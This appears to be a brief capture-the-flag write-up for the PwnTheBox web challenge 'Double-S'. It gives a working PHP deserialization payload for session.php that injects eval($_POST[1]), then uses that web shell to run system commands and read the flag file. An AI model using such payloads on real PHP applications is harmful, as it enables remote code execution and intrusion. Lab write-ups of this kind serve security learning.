当前位置：网站首页>PwnTheBox，Web：Double-S

PwnTheBox，Web：Double-S

2022-07-19 16:08:00 【Part 02】

There is no useful information in several common places

After scanning the directory

session.php There are loopholes in

Deserialization

Simple deserialization , Run out and pass it directly

GET
/session.php?aa=O:4:%22Anti%22:1:{s:4:%22info%22;s:16:%22eval($_POST[1]);%22;}
POST
1=phpinfo();

success

1=system('ls');

1=system('tac f1ag_i3_h3re');

版权声明
本文为[Part 02]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/200/202207180056276707.html